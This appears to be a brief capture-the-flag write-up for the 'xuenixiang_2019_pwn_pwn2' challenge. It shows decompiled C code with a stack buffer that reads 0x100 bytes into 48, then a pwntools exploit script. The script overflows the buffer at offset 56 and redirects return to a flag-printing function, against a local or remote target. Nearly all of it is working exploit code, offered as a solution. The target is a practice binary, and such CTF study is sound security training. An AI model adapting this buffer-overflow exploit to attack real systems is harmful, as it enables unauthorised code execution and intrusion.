xuenixiang_2019_pwn_pwn2 wp by kone

kone

exp：

#-*- coding:utf-8 -*-

"""
// xuenixiang_2019_pwn_pwn2: https://www.xuenixiang.com/ctfexercise-competition-320.html

int get_shell_()
{
  puts("tql~tql~tql~tql~tql~tql~tql");
  puts("this is your flag!");
  return system("cat flag");
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[48]; // [rsp+0h] [rbp-30h] BYREF

  memset(s, 0, sizeof(s));
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("say something?");
  read(0, s, 0x100uLL);
  puts("oh,that's so boring!");
  return 0;
}
"""

from pwn import *
import sys

if len(sys.argv) == 2:
    p = process(sys.argv[1])
elif len(sys.argv) == 3:
    p = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
    exit(1)

offset = 56

payload = offset * 'A' + p64(0x400751) + p64(0x400751)

p.sendafter("say something?", payload)
p.interactive()